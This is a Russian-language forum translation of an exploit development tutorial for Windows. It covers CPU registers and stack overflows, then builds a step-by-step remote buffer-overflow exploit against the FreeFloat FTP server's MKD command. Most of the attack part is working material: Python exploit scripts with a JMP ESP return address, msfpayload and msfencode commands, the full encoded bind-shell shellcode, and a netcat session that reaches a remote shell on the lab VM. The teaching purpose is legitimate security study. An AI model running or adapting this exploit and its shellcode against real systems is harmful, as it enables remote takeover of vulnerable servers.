Введение в разработку эксплоитов под Windows ( переведено by yashechka)

solution_for_everyone

Новорег
28 Дек 2020
4
0
1
Часть 1: Введение в разработку эксплоитов

Это первая часть в (скромной) многотомной серии туториалов, посвященной разработке эксплоитов. Эта часть просто расскажет некоторые базовые вещи, такие, которые нам нужны, чтобы сделать нашу работу, основные идеи скрытые за разработкой эксплоитов и некоторые вещи, которые нужно держать в памяти, если мы хотим заслать и выполнить наш шеллкод. Эти туториалы не будут рассказывать как находить ошибки, вместо этого, каждая часть будет включать уязвимую программу, для которой нужна определенная техника, чтобы успешно эксплуатировать ошибку в ПО. Через определенное время, я намерен рассказать всё, от “Сохранения Адреса Возврата при Переполнении” до “ROP (Возвратно Ориентированное Программирование)”, конечно эти туториалы не напишут сами себя, поэтому это займёт немного времени, чтобы написать это всё. Стоит отметить, что эти туториалы будут затрагивать все мелкие детали и случаи; это достигается благодаря дизайну, который (1) позволяет мне сэкономить время и (2) позволяет прилежному читателю учиться участвуя в процессе разработки.

Я бы хотел выразить особую благодарность Offensive Security и Corelan`y, спасибо Вам, за то что дали мне эту удивительное и болезненное пристрастие!!

(1) Что нам понадобиться

Immunity Debugger
- Download
Immunity Debugger похож на Ollydbg, но он имеет поддержку Python, который нужен нам, чтобы запускать плагины, которые помогут нам с разработкой эксплоита. Он бесплатен; когда перейдите по ссылке, просто заполните поля левыми данными и нажмите скачать.

Mona.py - Download
Mona - это офигенная примочка с кучей функций, которая позволяет нам проводить быстро и надёжно разработку эксплоита. Я не буду обсуждать все её опции здесь, мы дойдём до них вскоре во время следующих частей туториала. Загрузите её и положите её в каталог Immunity’s PyCommands.

Pvefindaddr.py - Download
Pvefindaddr - это предшественник Mona’ы . Я знаю, что он немного устарел, но остаётся всё ещё полезным, т.к. есть некоторые фишки, которые не были перенесены ещё в Mona’у. Загрузите её и положите в каталог Immunity’s PyCommands.

Metasploit Framework - Download
Мы будем использовать Metasploit Framework очень интенсивно. Больше всего мы будем генерировать шеллкоды для наших эксплоитов, но нам также нужна платформа, которая поможет получить любые соединения, чтобы можно было вернуться в программу после выполнения эксплоита. Я предлагаю Вам использовать Backtrack, т.к. у него есть всё, что нам нужно, но не стесняйтесь настроить metasploit в любом случае для себя.

Программное обеспечение для виртуализации
В основном здесь существует два варианта — VirtualBox, который бесплатен и Vmware, который не бесплатен. Если это возможно, я предложил бы использовать Vmware; умный человек, возможно, не должен платить за это
;)

). Вместе с этим нам будут нужны несколько (32-битных) операционных систем, чтобы разрабатывать наши эксплоиты (Вы получите больше пользы из WindowsXP PRO SP3 и любой Windows7).
(2) Переполнения

В обучающих целях, я думаю важно подать вещи очень просто, а не сложно. В общем, когда мы пишем эксплоит, нам нужно найти переполнение в программе. Обычно эти ошибки будут на Переполнение Буфера (место в памяти получает больше данных, чем планировалось) или Переполнение Стэка (обычно Переполнение Буфера, которое записывает за концом стэка. Когда такое переполнение случается, есть две вещи, которые мы ищем; (1) наш буфер должен перезаписать EIP (Текущий указатель на инструкцию) и (2) один из регистров ЦП должен содержать наш буфер. Вы можете увидеть список регистров x86 ЦП ниже, с их отдельными функциями. Всё что мы должны помнить, это то, что любой из этих регистров может хранить наш буфер (и шеллкод).

EAX — Главный регистр используемый в арифметических вычислениях. Он также известен как аккумулятор, он хранит результаты арифметических операций и возвращает значение из функции.

EBX — Регистр базы. Указатель на данные в сегменте DS. Используется, чтобы хранить базовый адрес программы.

ECX — Регистр счетчик, часто используется, чтобы хранить значение, представляющее какое количество раз процесс должен быть повторен. Используется для цикла и строковых операций.

EDX — регистр общего назначения. Также используется, для операций в/в. Помогает расширить регистр EAX до 64 бит.

ESI — Индексный регистр источника. Указатель на данные в сегменте указанном регистром DS. Используется как смещение в строковых и массивных операциях. Он хранит адреса откуда читаются данные.

EDI — Индексный регистр назначения. Указатель на данные(или назначение) в сегменте указанном регистром ES. Используется как смещение в строковых и массивных операциях. Он хранит адреса куда пишутся данные.

EBP — Указатель на базу. Указатель на данные, которые хранятся в стэке (в сегменте SS). Он указывает на начало фрэйма стэка. Он используется, чтобы обращаться к локальным переменным.

ESP — Указатель на стэк (в сегменте SS). Он указывает на вершину стэка в текущем фрэйме. Он используется, чтобы обращаться к локальным переменным.

EIP — Указатель на инструкцию (хранит адрес следующей инструкции, которая должна быть выполнена)
(3) Как это работает?

В основном (1) мы заставляем программу хранить очень длинную строчку, (2) эта строка перезаписывает EIP и часть её храниться в регистре ЦП, (3) мы находим указатель, который указывает на регистр, который содержит наш буфер, (4) мы помещаем этот указатель в правильное место в нашем буфере, так, чтобы он перезаписал EIP, (5) когда программа достигает нашего указателя, она исполняет заданную нами инструкцию и прыгает на регистр, который содержит наш буфер и наконец (6), мы кладем наш шеллкод в часть буфера, который храниться в регистре ЦП . В сущности, мы угоняем поток выполнения программы и указываем ей на область памяти, которую мы контролируем. Если мы сможет это сделать, мы сможем исполнять на удаленной машине любые инструкции. Это немного упрощенно, но этого должно нам хватить, чтобы понять базовые идеи того как работают эксплоиты.
Часть 2. Сохраненные указателя возврата

Для нашего первого эксплойта мы начнем с самого простого сценария, где у нас есть чистая перезапись регистра EIP, и один из наших регистров процессора указывает непосредственно на большую часть нашего буфера. Для этой части мы будем создавать эксплойт с нуля для программы "FreeFloat FTP". Вы можете найти список нескольких эксплойтов, созданных для программы "FreeFloat FTP" здесь (Offensive Security’s Exploit Database Archive)

Обычно нам нужно выполнять анализ пLolих символов, но для нашего первого урока мы будем полагаться на пLolие символы, которые перечислены в уже существующих модулях metasploit на сайте exploit-db. Перечисленные символы такие: "\x00\x0A\x0D". Нам нужно помнить эти пLolие символы.

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Уязвимое программное обеспечение: Можно взять отсюда(https://www.exploit-db.com/wp-conte...cbbf5b2506e80a375377fa-freefloatftpserver.zip)

Воспроизведение крэша

Прежде всего, нам нужно создать скелет POC эксплойта чтобы вызвать сбой FTP-сервера. Как только мы сделаем это, мы сможем использовать скелет для создания своего эксплойта. Вы можете увидеть мой POC ниже. Я создал его на основе эксплойтах для программы"FreeFloat FTP", которые я нашел на сайте exploit-db. Мы будем использовать уже существующую учетную запись пользователя ”anonymous”, которая настроена на FTP-сервер (эксплойт должен работать с любыми действительными учетными данными для входа).

Python:Скопировать в буфер обмена
#/usr/bin/python

import socket
import sys

evil = "A"*1000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Хорошо. Когда мы присоединяем отладчик к FTP-серверу и отправляем наш POC-буфер, программа вылетает. На скриншоте ниже вы можете видеть, что регистр EIP перезаписывается и что два регистра (ESP и EDI) содержат часть нашего буфера. После анализа обоих дампов регистров, дамп ESP кажется более перспективным, поскольку он содержит больший чанк нашего буфера (однако я должен отметить, что создание эксплойта, начинающегося в регистре EDI, безусловно, возможно).

1.png


Перезапись EIP

Затем нам нужно проанализировать наш сбой. Чтобы сделать это, нам нужно заменить наши буквы А на шаблон метасплойта и повторно отправить наш буфер. Обратите внимание, что вы сохраняете исходную длину буфера, так как изменяющаяся длина буфера может изменить сбой программы.

Bash:Скопировать в буфер обмена
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Когда программа снова вылетаем, мы видим то же самое, что и на скриншоте выше, за исключением того, что регистр EIP (и оба регистра) теперь перезаписываются частью шаблона metasploit. Пора позволить "моне" сделать часть тяжелой работы. Если мы выполним следующую команду в отладчике Immunity, мы можем проанализировать “моной” сбой программы. Вы можете увидеть результат этого анализа на скриншоте ниже.

!mona findmsp

2.png



Из анализа мы можем видеть, что регистр EIP перезаписывается 4 байтами, которые следуют непосредственно после начальных 247 байтов нашего буфера. Как я уже говорил ранее, мы также можем видеть, что регистр ESP содержит больший чанк нашего буфера, поэтому он является более подходящим кандидатом для нашего эксплойта. Используя эту информацию, мы можем реорганизовать злой буфер в нашем POC выше так:

evil = "A"247 + "B"4 + "C"*749

Когда мы повторно отправляем наш модифицированный буфер, мы видим, что он работает точно так, как мы ожидали. Регистр EIP перезаписывается нашими четырьмя буквами B.

3.png


Это означает, что мы можем заменить эти символы B указателем, который перенаправляет поток выполнения в регистр ESP. Единственное, что нам нужно иметь в виду, - это то, что наш указатель не может содержать пLolих символов. Чтобы найти этот указатель, мы можем использовать "мону" с помощью следующей команды. Вы можете увидеть результаты на скриншоте ниже.

!mona jmp -r esp
4.png



Кажется, что любой из этих указателей подойдет. Они принадлежат динамической библиотеке операционной системы, поэтому они будут специфичны для "WinXP PRO SP3", но это не наша главная задача. Мы можем просто использовать первый указатель в списке. Имейте в виду, что нам потребуется изменить порядок байтов из-за архитектуры Little Endian центрального процессора. Соблюдайте синтаксис ниже.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"247 + "\x59\x54\xC3\x77" + "C"749

Я должен подчеркнуть, что важно правильно документировать свой эксплойт для собственного и чужого чтения. Наш финальный POC должен выглядеть следующим образом

Python:Скопировать в буфер обмена
#!/usr/bin/python

import socket
import sys

#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------

evil = "A"247 + "\x59\x54\xC3\x77" + "C"749

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Хорошо. Давайте перезапустим программу в отладчике и установим точку останова на нашем указателе, чтобы отладчик сделал паузу, если он ее достигнет. Как мы видим на скриншоте ниже, регистр EIP перезаписывается нашим указателем, и мы достигаем точки останова, которая должна привести нас к нашему буферу, расположенному в регистре ESP.

5.png


Шеллкод + Конец игры

Мы почти закончили. Нам нужно (1) немного изменить наш POC, чтобы добавить переменную для нашего шеллкода, и (2) вставить полезную нагрузку, которая нам нравится. Давайте начнем с POC. Мы будем вставлять нашу полезную нагрузку в ту часть буфера, которая теперь состоит из Си кода. В идеале мы хотели бы, чтобы длина буфера изменялась динамически, поэтому нам не нужно пересчитывать, если мы вставляем полезную нагрузку с другим размером (наша общая длина буфера должна оставаться 1000 байтов). Мы также должны вставить некоторые инструкции NOP (No Operation = байту \x90) перед нашей полезной нагрузкой в качестве заполнения. Вы можете увидеть результат ниже. Любой шелл-код, который мы вставляем в переменную шелл-кода, будет выполнен нашим переполнением буфера.

Python:Скопировать в буфер обмена
#!/usr/bin/python

import socket
import sys

shellcode = (
)

#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------

buffer = "\x90"*20 + shellcode
evil = "A"247 + "\x59\x54\xC3\x77" + buffer + "C"(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Все, что осталось сейчас, - это ввести какой-нибудь шеллкод.
Мы будем использовать msfpayload для генерации нашего шелл-кода и перенаправлять исходный вывод в msfencode для фильтрации пLolих символов.

Bash:Скопировать в буфер обмена
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a
command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version: 8642
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal

Provided by:
vlad902 <[email protected]>
sf <[email protected]>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST no The target address

Description:
Listen for a connection and spawn a command shell

root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

unsigned char buf[] =
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";

После небольшого предварительного кодирования и добавления соответствующих заметок финальный эксплойт готов.

Python:Скопировать в буфер обмена
#!/usr/bin/python

#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF) #
# OS: WinXP PRO SP3 #
# Author: b33f (Ruben Boonen) #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# FuzzySecurity | ExploitDev: Part 2 #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988 #
# (UNKNOWN) [192.168.111.128] 9988 (?) open #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# #
# C:\Documents and Settings\Administrator\Desktop> #
#----------------------------------------------------------------------------------#

import socket
import sys

#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) #
#----------------------------------------------------------------------------------#

shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")

#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D #
# 0x77c35459 : push esp # ret | msvcrt.dll #
# shellcode at ESP => space 749-bytes #
#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + shellcode
evil = "A"247 + "\x59\x54\xC3\x77" + buffer + "C"(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

На скриншоте ниже мы видим экран до и после вывода команды «netstat -an», а ниже мы видим вывод терминала backrack при подключении к нашей оболочке. Игра окончена!!

6.png


Bash:Скопировать в буфер обмена
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.111.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

C:\Documents and Settings\Administrator\Desktop>





Источник: FuzzySecurity | ExploitDev: Part 1